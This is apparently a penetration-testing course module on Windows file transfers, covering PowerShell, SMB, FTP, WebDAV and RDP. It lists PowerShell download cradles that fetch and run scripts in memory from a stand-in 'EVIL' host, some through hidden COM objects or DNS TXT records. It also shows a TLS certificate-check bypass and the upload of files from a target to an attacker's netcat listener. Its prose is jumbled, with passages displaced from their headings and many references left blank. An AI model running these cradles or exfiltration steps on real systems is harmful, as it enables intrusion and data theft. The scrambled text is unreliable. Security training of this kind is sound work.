The Windows operating system has evolved over the past few years, and new versions come with different utilities for file transfer operations. Understanding file transfer in Windows can help both attackers and defenders. Attackers can use various file transfer methods to operate and avoid being caught. Defenders can learn how these methods work to monitor and create the corresponding policies to avoid being compromised. Let's use the blog post as an example of an advanced persistent threat (APT).
The blog post starts out talking about . The term fileless suggests that a threat doesn't come in a file, they use legitimate tools built into a system to execute an attack. This doesn't mean that there's not a file transfer operation. As discussed later in this section, the file is not "present" on the system but runs in memory.
The Astaroth attack generally followed these steps: A malicious link in a spear-phishing email led to an LNK file. When double-clicked, the LNK file caused the execution of the with the "/Format" parameter, which allowed the download and execution of malicious JavaScript code. The JavaScript code, in turn, downloads payloads by abusing the .
All the payloads were base64-encoded and decoded using the Certutil tool resulting in a few DLL files. The tool was then used to load one of the decoded DLLs, which decrypted and loaded other files until the final payload, Astaroth, was injected into the Userinit process. Below is a graphical depiction of the attack.
This is an excellent example of multiple methods for file transfer and the threat actor using those methods to bypass defenses.
This section will discuss using some native Windows tools for download and upload operations. Later in the module, we'll discuss Living Off The Land binaries on Windows & Linux and how to use them to perform file transfer operations.
Download Operations
We have access to the machine MS02, and we need to download a file from our Pwnbox machine. Let's see how we can accomplish this using multiple File Download methods.
PowerShell Base64 Encode & Decode
Depending on the file size we want to transfer, we can use different methods that do not require network communication. If we have access to a terminal, we can encode a file to a base64 string, copy its contents from the terminal and perform the reverse operation, decoding the file in the original content. Let's see how we can do this with PowerShell.
While this method is convenient, it's not always possible to use. Windows Command Line utility (cmd.exe) has a maximum string length of 8,191 characters. Also, a web shell may error if you attempt to send extremely large strings.
PowerShell Web Downloads
Most companies allow HTTP and HTTPS outbound traffic through the firewall to allow employee productivity. Leveraging these transportation methods for file transfer operations is very convenient. Still, defenders can use Web filtering solutions to prevent access to specific website categories, block the download of file types (like .exe), or only allow access to a list of whitelisted domains in more restricted networks.
Method
Description
Returns the data from a resource without blocking the calling thread.
Downloads data from a resource and returns a Byte array.
Downloads data from a resource and returns a Byte array without blocking the calling thread.
Downloads data from a resource to a local file.
Downloads data from a resource to a local file without blocking the calling thread.
Downloads a String from a resource and returns a String.
Downloads a String from a resource without blocking the calling thread.
Let's explore some examples of those methods for downloading files using PowerShell.
PowerShell DownloadFile Method
We can specify the class name Net.WebClient and the method DownloadFile with the parameters corresponding to the URL of the target file to download and the output file name.
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText
# WinHttp COM object (not proxy aware!)
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText
# using bitstransfer- touches disk!
Import-Module bitstransfer;Start-BitsTransfer 'http://EVIL/evil.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r
# DNS TXT approach from PowerBreach (https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerBreach/PowerBreach.ps1)
# code to execute needs to be a base64 encoded string stored in a TXT record
IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(((nslookup -querytype=txt "SERVER" | Select -Pattern '"*"') -split '"'[0]))))
# from @subtee - https://gist.github.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d
<#
<?xml version="1.0"?>
<command>
<a>
<execute>Get-Process</execute>
</a>
</command>
#>
$a = New-Object System.Xml.XmlDocument
$a.Load("https://gist.githubusercontent.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d/raw/1ffde429dc4a05f7bc7ffff32017a3133634bc36/gistfile1.txt")
$a.command.a.execute | iex
Common Errors with PowerShell
There may be cases when the Internet Explorer first-launch configuration has not been completed, which prevents the download.
This can be bypassed using the parameter -UseBasicParsing.
PS C:\htb> Invoke-WebRequest https://<ip>/PowerView.ps1 | IEX
Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1
+ Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/P ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand
PS C:\htb> Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX
Another error in PowerShell downloads is related to the SSL/TLS secure channel if the certificate is not trusted. We can bypass that error with the following command:
PS C:\htb> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish trust
relationship for the SSL/TLS secure channel."
At line:1 char:1
+ IEX(New-Object Net.WebClient).DownloadString('https://raw.githubuserc ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : WebException
PS C:\htb> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
SMB Downloads
The Server Message Block protocol (SMB protocol) that runs on port TCP/445 is common in enterprise networks where Windows services are running. It enables applications and users to transfer files to and from remote servers.
New versions of Windows block unauthenticated guest access, as we can see in the following command:
C:\htb> copy \\192.168.220.133\share\nc.exe
You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.
To transfer files in this scenario, we can set a username and password using our Impacket SMB server and mount the SMB server on our windows target machine:
Create the SMB Server with a Username and Password
C:\htb> net use n: \\192.168.220.133\share /user:test test
The command completed successfully.
C:\htb> copy n:\nc.exe
1 file(s) copied.
You can also mount the SMB server if you receive an error when you use copy filename \\IP\sharename.
FTP Downloads
Another way to transfer files is using FTP (File Transfer Protocol), which use port TCP/21 and TCP/20. We can use the FTP client or PowerShell Net.WebClient to download files from an FTP server.
We can configure an FTP Server in our attack host using Python3 pyftpdlib module. It can be installed with the following command:
Installing the FTP Server Python3 Module
$ sudo pip3 install pyftpdlib
Then we can specify port number 21 because, by default, pyftpdlib uses port 2121. Anonymous authentication is enabled by default if we don't set a user and password.
When we get a shell on a remote machine, we may not have an interactive shell. If that's the case, we can create an FTP command file to download a file. First, we need to create a file containing the commands we want to execute and then use the FTP client to use that file to download that file.
Create a Command File for the FTP Client and Download the Target File
C:\htb> echo open 192.168.49.128 > ftpcommand.txt
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo GET file.txt >> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
C:\htb> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous
ftp> GET file.txt
ftp> bye
C:\htb>more file.txt
This is a test file
Upload Operations
There are also situations such as password cracking, analysis, exfiltration, etc., where we must upload files from our target machine into our attack host. We can use the same methods we used for download operation but now for uploads. Let's see how we can accomplish uploading files in various ways.
PowerShell Base64 Encode & Decode
We saw how to decode a base64 string using Powershell. Now, let's do the reverse operation and encode a file so we can decode it on our attack host.
We copy this content and paste it into our attack host, use the base64 command to decode it, and use the md5sum application to confirm the transfer happened correctly.
PowerShell doesn't have a built-in function for upload operations, but we can use Invoke-WebRequest or Invoke-RestMethod to build our upload function. We'll also need a web server that accepts uploads, which is not a default option in most common webserver utilities.
Installing a Configured WebServer with Upload
$ pip3 install uploadserver
Collecting upload server
Using cached uploadserver-2.0.1-py3-none-any.whl (6.9 kB)
Installing collected packages: uploadserver
Successfully installed uploadserver-2.0.1
$ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Steps to Run uploadserver as a Module:
Create a Virtual Environment: Set up a virtual environment in your user directory:
python3 -m venv ~/uploadserver-venv
Activate the Virtual Environment: Activate the virtual environment:
source ~/uploadserver-venv/bin/activate
Install uploadserver: Now that you're in the virtual environment, install uploadserver: pip install uploadserver
Run uploadserver: After installation, you can run it as a module within the virtual environment:
python3 -m uploadserver
Deactivate the Virtual Environment: When you're done, you can deactivate the virtual environment with:
deactivate
PowerShell Script to Upload a File to Python Upload Server
Another way to use PowerShell and base64 encoded files for upload operations is by using Invoke-WebRequest or Invoke-RestMethod together with Netcat. We use Netcat to listen in on a port we specify and send the file as a POST request. Finally, we copy the output and use the base64 decode function to convert the base64 string into a file.
We catch the base64 data with Netcat and use the base64 application with the decode option to convert the string to the file.
$ nc -lvnp 8000
listening on [any] 8000 ...
connect to [192.168.49.128] from (UNKNOWN) [192.168.49.129] 50923
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
Content-Type: application/x-www-form-urlencoded
Host: 192.168.49.128:8000
Content-Length: 1820
Connection: Keep-Alive
IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQo
...SNIP...
SMB Uploads
When you use SMB, it will first attempt to connect using the SMB protocol, and if there's no SMB share available, it will try to connect using HTTP. In the following Wireshark capture, we attempt to connect to the file share testing3, and because it didn't find anything with SMB, it uses HTTP.
$ sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
[sudo] password for plaintext:
Running without configuration file.
10:02:53.949 - WARNING : App wsgidav.mw.cors.Cors(None).is_disabled() returned True: skipping.
10:02:53.950 - INFO : WsgiDAV/4.0.1 Python/3.9.2 Linux-5.15.0-15parrot1-amd64-x86_64-with-glibc2.31
10:02:53.950 - INFO : Lock manager: LockManager(LockStorageDict)
10:02:53.950 - INFO : Property manager: None
10:02:53.950 - INFO : Domain controller: SimpleDomainController()
10:02:53.950 - INFO : Registered DAV providers by route:
10:02:53.950 - INFO : - '/:dir_browser': FilesystemProvider for path '/usr/local/lib/python3.9/dist-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
10:02:53.950 - INFO : - '/': FilesystemProvider for path '/tmp' (Read-Write) (anonymous)
10:02:53.950 - WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
10:02:53.950 - WARNING : Share '/' will allow anonymous write access.
10:02:53.950 - WARNING : Share '/:dir_browser' will allow anonymous read access.
10:02:54.194 - INFO : Running WsgiDAV/4.0.1 Cheroot/8.6.0 Python 3.9.2
10:02:54.194 - INFO : Serving on http://0.0.0.0:80 ...
Connecting to the Webdav Share
Now we can attempt to connect to the share using the DavWWWRoot directory.
Note:
DavWWWRoot is a special keyword recognized by the Windows Shell. No such folder exists on your WebDAV server. The DavWWWRoot keyword tells the Mini-Redirector driver, which handles WebDAV requests that you are connecting to the root of the WebDAV server.
You can avoid using this keyword if you specify a folder that exists on your server when connecting to the server. For example: \192.168.49.128\sharefolder
Uploading Files using SMB
Note:
If there are no SMB (TCP/445) restrictions, you can use impacket-smbserver the same way we set it up for download operations.
FTP Uploads
Uploading files using FTP is very similar to downloading files. We can use PowerShell or the FTP client to complete the operation. Before we start our FTP Server using the Python module pyftpdlib, we need to specify the option --write to allow clients to upload files to our attack host.
Create a Command File for the FTP Client to Upload a File
RDP Shares
Using Xfreerdp you can RDP to a target and setup a share for easy transference of files:
$ xfreerdp /dynamic-resolution /v:172.16.5.35 /u:mlefay /p:'Plain Human work!' /drive:.,share
/drive:LOCAL_DIRECTOY,SHARE_NAME: Creates a shared drive between the attacking machine and the target. This is very useful as it allows us to very easily use our toolkit on the remote target, and save any outputs back to our own hard drive. This means we may never actually have to create any files on the target. For example, to share the current directory in a share called share, you could use: /drive:.,share, with the period (.) referring to the current directory
An essential step in using this method is to ensure the file you encode and decode is correct. We can use , a program that calculates and verifies 128-bit MD5 checksums. The MD5 hash functions as a compact digital fingerprint of a file, meaning a file should have the same MD5 hash everywhere. Let's attempt to transfer a sample ssh key. It can be anything else, from our Pwnbox to the Windows target.
Finally, we can confirm if the file was transferred successfully using the cmdlet, which does the same thing that md5sum does.
PowerShell offers many file transfer options. In any version of PowerShell, the class can be used to download a file over HTTP, HTTPS or FTP. The following describes WebClient methods for downloading data from a resource:
Returns the data from a resource as a .
As we previously discussed, fileless attacks work by using some operating system functions to download the payload and execute it directly. PowerShell can also be used to perform fileless attacks. Instead of downloading a PowerShell script to disk, we can run it directly in memory using the cmdlet or the alias IEX.
From PowerShell 3.0 onwards, the cmdlet is also available, but it is noticeably slower at downloading files. You can use the aliases iwr, curl, and wget instead of the Invoke-WebRequest full name.
Harmj0y has compiled an extensive list of PowerShell download cradles . It is worth gaining familiarity with them and their nuances, such as a lack of proxy awareness or touching disk (downloading a file onto the target) to select the appropriate one for the situation.
We can use SMB to download files from our Pwnbox easily. We need to create an SMB server in our Pwnbox with from Impacket and then use copy, move, PowerShell Copy-Item, or any other tool that allows connection to SMB.
For our web server, we can use , an extended module of the Python , which includes a file upload page. Let's install it and start the webserver.
Now we can use a PowerShell script which uses Invoke-RestMethod to perform the upload operations. The script accepts two parameters -File, which we use to specify the file path, and -Uri, the server URL where we'll upload our file. Let's attempt to upload the host file from our Windows host.
We previously discussed that companies usually allow outbound traffic using HTTP (TCP/80) and HTTPS (TCP/443) protocols. Commonly enterprises don't allow the SMB protocol (TCP/445) out of their internal network because this can open them up to potential attacks. For more information on this, we can read the Microsoft post .
An alternative is to run SMB over HTTP with WebDav. WebDAV is an extension of HTTP, the internet protocol that web browsers and web servers use to communicate with each other. The WebDAV protocol enables a webserver to behave like a fileserver, supporting collaborative content authoring. WebDAV can also use HTTPS.
To set up our WebDav server, we need to install two Python modules, wsgidav and cheroot (you can read more about this implementation here: ). After installing them, we run the wsgidav application in the target directory.
